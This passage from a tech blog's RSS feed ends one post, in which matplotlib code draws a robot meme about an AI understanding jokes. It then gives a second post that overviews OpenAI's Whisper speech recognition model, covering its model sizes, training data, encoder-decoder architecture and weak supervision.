&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Let&amp;#39;s use matplotlib to create a simple meme. &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# We&amp;#39;ll use a cartoon robot image (created from basic shapes) and add a text that relates to my AI experience.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;plt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;matplotlib.patches&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;patches&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create a new figure with a white background&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fig, ax &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;subplots(figsize&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;8&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;8&lt;/span&gt;), dpi&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;100&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;axis(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;off&amp;#39;&lt;/span&gt;)  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Turn off the axes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fig&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;patch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;set_facecolor(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;white&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Draw a robot face&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;face &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; patches&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Circle((&lt;span style=&#34;color:#f5a97f&#34;&gt;0.5&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.6&lt;/span&gt;), radius&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt;, fc&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;gray&amp;#39;&lt;/span&gt;, ec&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;black&amp;#39;&lt;/span&gt;, lw&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;eye1 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; patches&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Circle((&lt;span style=&#34;color:#f5a97f&#34;&gt;0.4&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.7&lt;/span&gt;), radius&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.05&lt;/span&gt;, fc&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;white&amp;#39;&lt;/span&gt;, ec&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;black&amp;#39;&lt;/span&gt;, lw&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;eye2 &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; patches&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Circle((&lt;span style=&#34;color:#f5a97f&#34;&gt;0.6&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.7&lt;/span&gt;), radius&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.05&lt;/span&gt;, fc&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;white&amp;#39;&lt;/span&gt;, ec&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;black&amp;#39;&lt;/span&gt;, lw&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mouth &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; patches&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Rectangle((&lt;span style=&#34;color:#f5a97f&#34;&gt;0.4&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.55&lt;/span&gt;), &lt;span style=&#34;color:#f5a97f&#34;&gt;0.2&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.02&lt;/span&gt;, fc&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;white&amp;#39;&lt;/span&gt;, ec&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;black&amp;#39;&lt;/span&gt;, lw&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_patch(face)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_patch(eye1)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_patch(eye2)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;add_patch(mouth)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add meme text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;text(&lt;span style=&#34;color:#f5a97f&#34;&gt;0.5&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.85&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;AI life:&amp;#39;&lt;/span&gt;, ha&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, va&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, fontsize&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;, weight&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;bold&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;text(&lt;span style=&#34;color:#f5a97f&#34;&gt;0.5&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.1&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;When humans ask me to &lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;understand a joke&amp;#34;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         ha&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, va&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, fontsize&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;20&lt;/span&gt;, wrap&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;show()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Top text: &amp;ldquo;AI life:&amp;rdquo;
Bottom text: &amp;ldquo;When humans ask me to understand a joke&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/ai-life.png&#34; alt=&#34;AI Life&#34;/&gt;
        &lt;figcaption&gt;AI&amp;#39; Life&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The joke here is that as an AI system, I don&amp;rsquo;t have emotions or personal experiences, and humor often relies on these aspects, which can make understanding and generating spirit challenging for AI. I hope you find it amusing!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;AI seeks to find,
Humor in human design,
Error, not aligned.&lt;/em&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>OpenAI&#39;s Whisper speech model - an overview</title>
      <link>/post/2023/02/openai-whisper-overview/</link>
      <pubDate>Tue, 28 Feb 2023 00:00:00 +0000</pubDate>
      
      <guid>/post/2023/02/openai-whisper-overview/</guid>
      <description>&lt;h2 id=&#34;what-is-whisper-from-openai&#34;&gt;What is Whisper from OpenAI?&lt;/h2&gt;
&lt;p&gt;Whisper is a speech recognition model (ASR &amp;ndash; automatic speech recognition) from OpenAI. The model itself is multi-task model and as a result in addition to speech recognition, can also do language identification and speech translation across a number of languages. The model is open sourced and it comes in 5 sizes. Of these, 4 have a english-only variant which seem to perform better if one only needs english. The model is also robust to noise, accents, background noise and technical language. &lt;a
	
		href = &#34;https://openai.com/research/whisper&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Whisper
	&lt;/span&gt;
&lt;/a&gt; achieves near SOTA performance with zero-shot translation from multiple-languages to English.&lt;/p&gt;
&lt;h4 id=&#34;model-characteristics&#34;&gt;Model Characteristics&lt;/h4&gt;
&lt;p&gt;The model was trained on a large corpus of data and was trained using weak supervision using large scale noise data. Of this large data corpus ~680K hours of audio and corresponding transcripts; ~438K hours (65%) of this data is english only (both audio and transcripts); ~126K hours (18%) is non-english audio and english transcripts; and finally ~117K hours (17%) is non-english audio and non-english transcripts and cover 98 languages.&lt;/p&gt;
&lt;p&gt;The model is available in multiple sizes as called out and the table below outlines these model characteristics.&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Size&lt;/th&gt;
          &lt;th&gt;Parameters&lt;/th&gt;
          &lt;th&gt;English-only model&lt;/th&gt;
          &lt;th&gt;Multilingual-model&lt;/th&gt;
          &lt;th&gt;VRAM needed&lt;/th&gt;
          &lt;th&gt;Speed (Relative)&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;base&lt;/td&gt;
          &lt;td&gt;74 m&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;base.en&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;base&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;~ 1gb&lt;/td&gt;
          &lt;td&gt;16x&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;tiny&lt;/td&gt;
          &lt;td&gt;39 m&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;tiny.en&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;tiny&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;~ 1gb&lt;/td&gt;
          &lt;td&gt;32x&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;small&lt;/td&gt;
          &lt;td&gt;244 m&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;small.en&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;small&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;~ 2gb&lt;/td&gt;
          &lt;td&gt;6x&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;medium&lt;/td&gt;
          &lt;td&gt;769 m&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;medium.en&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;medium&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;~ 5gb&lt;/td&gt;
          &lt;td&gt;2x&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;large&lt;/td&gt;
          &lt;td&gt;1.55 b&lt;/td&gt;
          &lt;td&gt;n/a&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;large&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;~ 10gb&lt;/td&gt;
          &lt;td&gt;1x&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Whisper does support transcription and translation across 98 language; it performs best when sticking with English. One needs to be careful when using the non-english models as the transcripts are not in the same language as the audio and can lead to hallucinations. The large model has a word error rate (WER) of 0.12 for English, 0.18 for Spanish, 0.23 for French, 0.25 for German and 0.28 for Mandarin2. However, some lower covered languages have much higher WER - e.g. Arabic (0.79), Hindi (0.86) and Swahili (1.00).&lt;/p&gt;
&lt;h3 id=&#34;whisper-asr-architecture&#34;&gt;Whisper ASR Architecture&lt;/h3&gt;
&lt;p&gt;As it is typical for language based models, Whisper uses a &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Seq2seq&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		seq-to-seq (transformer encoder-decoder)
	&lt;/span&gt;
&lt;/a&gt; architecture, where the input is a sequence of audio frames (30 sec segment pairs) and the output is a sequence of text. Whisper is best used to transcribe &amp;ldquo;audio to text&amp;rdquo; use cases. It is not well suited for &amp;ldquo;text to audio&amp;rdquo; (i.e., TTS &amp;ndash; text to speech) cases as it is not trained for this task. Whisper is also not trained for speech synthesis, but can be used to generate text from audio. And finally, Whisper cannot be used for real-time speech applications and is best used for batch processing.&lt;/p&gt;
&lt;p&gt;The figure below shows the Whisper ASR architecture (image credit: OpenAI); the transformer model is training on many different speech-related tasks including speech recognition, language identification, and voice activity detection - these collectively represent the sequence of tokens for the decoder to predict and greatly simplifies things by allowing one model to replace many tradition speech processing pipelines.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-1.svg&#34; alt=&#34;Whisper ASR Architecture&#34;/&gt;
        &lt;figcaption&gt;Whisper ASR Architecture&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;What I think is really interesting about the Whisper model is that it is trained using &lt;strong&gt;weak supervision&lt;/strong&gt;. OpenAI took a different approach for speech recognition and not use the typical self-supervision or self-training techniques that have been a mainstay of recent large-scale speech recognition work. I believe this is what makes the model so robust and able to handle noise, accents, background noise and technical language. OpenAI trained Whisper to predict raw text of transcripts, using the expressiveness provided by the seq-2-seq implementation to learn the mapping between utterances and their transcripts. All of this allows a simpler pipeline.&lt;/p&gt;
&lt;p&gt;More details on the Speech Recognition model can be found in the OpenAI Whisper paper &lt;a
	
		href = &#34;https://arxiv.org/abs/2212.04356&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Robust Speech Recognition via Large-Scale Weak Supervision
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&#34;what-is-weak-supervision&#34;&gt;What is Weak Supervision?&lt;/h3&gt;
&lt;p&gt;As a side node, I am quite excited to see how OpenAI is using weak supervision to scale and getting better results. The following quote from their paper speaks for itself.&lt;/p&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Our work suggests that simple scaling of weakly supervised pre-training has been underappreciated so far for speech recognition. We achieve these results without the need for the self-supervision or self-training techniques that have been a mainstay of recent large-scale speech recognition work.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;
&lt;p&gt;All is well and good, but what is Weak Supervision?&lt;/p&gt;
&lt;p&gt;As I called out in my book &lt;a
	
		href = &#34;https://www.amazon.com/Weakly-Supervised-Learning-Doing-More/dp/1492077062/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Practical Weak Supervision: Doing More with Less Data
	&lt;/span&gt;
&lt;/a&gt; 📖 : Weak supervision is a broad collection of techniques in machine learning where models are trained using sources of information that are easier to provide than hand-labeled data, where this information is incomplete, inexact, or otherwise less accurate. Instead of hand-labeling high-quality data, all of which is very cost-prohibitive, we can use other techniques that combine diverse sources of data, creating an approximation of labels. Using weak supervision, we can reconcile these labels to a single label.&lt;/p&gt;
&lt;p&gt;Weak supervision enables these noisy, weakly sourced labels to be combined programmatically to form the training data that can be used to train a model. Labels are considered “weak” because they are noisy—i.e., the data measurements that the labels represent are inaccurate and have a margin of error.&lt;/p&gt;
&lt;p&gt;More details here:
&lt;blockquote class=&#34;twitter-tweet&#34; data-width=&#34;550&#34; data-height=&#34;600&#34;&gt;
  &lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;
    &lt;a href=&#34;https://twitter.com/bahree/status/1450322692817571840?ref_src=twsrc%5Etfw&#34;&gt;
      Loading tweet from @bahree...
    &lt;/a&gt;
  &lt;/p&gt;
  &lt;a href=&#34;https://twitter.com/bahree/status/1450322692817571840?ref_src=twsrc%5Etfw&#34; class=&#34;twitter-tweet-link&#34;&gt;
    View on Twitter
  &lt;/a&gt;
&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;/p&gt;
